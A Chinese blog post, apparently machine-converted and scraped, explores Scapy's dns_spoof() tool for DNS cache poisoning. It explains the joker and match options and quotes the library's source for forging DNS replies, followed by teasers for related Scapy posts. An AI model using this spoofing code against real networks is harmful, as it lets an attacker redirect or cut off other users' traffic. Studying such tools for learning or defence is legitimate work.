Python中的Scapy初探之四 DNS中毒

2021-08-07 11:38:45 字數 1358 閱讀 9280

python中的scapy初探之四--dns中毒

小牛牛

今天做了arp快取中毒,又看到了dns中毒,覺得比較新鮮。scapy還真不是蓋的

簡單來說,dns中毒就是自己做乙個應答的dns包,傳送給客戶端,這樣,客戶端就中毒了,因為不管發出什麼dns請求解析,得到的都是偽裝的dns應答包,這樣就什麼都訪問不了鳥,這個做起來也非常的簡單

scapy裡面有乙個工具,就是專門做dns中毒的,它就是dns_spoof(),這玩意非常好使,搞得我都上不了網了

執行起來也很簡單

dns_spoof(joker=』x.x.x.x』,match=)

joker用來替換dns請求返回的ip位址,這個可以隨便設定,反正只要用了它,返回的dns應答包就全是這個ip位址了,至於match,是乙個字典陣列,可以用來替換返回真正的位址,例如www.baidu.com的正確ip位址是61.135.169.125

在填寫match的時候,**後面要加乙個點

這個字典檔案可以很多,用來替換正確的ip位址

一旦執行起來,就會一直監控,也就是dns解析無法正常使用,非常的毒辣

看了一下原始碼

class dns_am(answeringmachine):

function_name="dns_spoof"

filter = "udp port 53"

def parse_options(self, joker="192.168.1.1", match=none):

if match is none:

self.match = {}

else:

self.match = match

self.joker=joker

def is_request(self, req):

return req.haslayer(dns) and req.getlayer(dns).qr == 0

def make_reply(self, req):

ip = req.getlayer(ip)

dns = req.getlayer(dns)

resp = ip(dst=ip.src, src=ip.dst)/udp(dport=ip.sport,sport=ip.dport)

rdata = self.match.get(dns.qd.qna.me, self.joker)

resp /= dns(id=dns.id, qr=1, qd=dns.qd,

an=dnsrr(rrname=dns.qd.qname, ttl=10, rdata=rdata))

return resp

這個寫的還是很有功底的,怪不得找不

到幫助文件,看看源**就好了。明天研究一下dhcp,嘿嘿

python 安裝scapy 安裝scapy時出錯

好的,所以我正在嘗試為python3安裝scapy,但是我遇到了一些問題 當我輸入這個命令時 pip install scapy 這是輸出 collecting scapy using cached scapy 2.3.3.tgz unpack scapy 2.3.3.tgz the member ...

Python中的網路掃瞄大殺器Scapy初探

最近經歷了twisted的打擊,這個網路程式設計實在看不懂,都摸不透它的內在邏輯,看來網路程式設計不是那麼好弄的。還好,看到了scapy,這種網路的大殺器,讓我一看就愛不釋手,這才是我需要的網路工具啊。scapy的功能如此之多,以至於。我到現在還是沒看懂。在官方 也介紹的不多,後來搜了一下,有一本書...

利用Python庫Scapy解析pcap檔案的方法

每次寫部落格都是源於納悶,python解析pcap這麼常用的例子網上竟然沒有,全是一堆命令列執行的python,能用嗎?玩呢?pip安裝scapy,然後解析pcap import 程式設計客棧scapy from scapy.all import from scapy.utils import pc...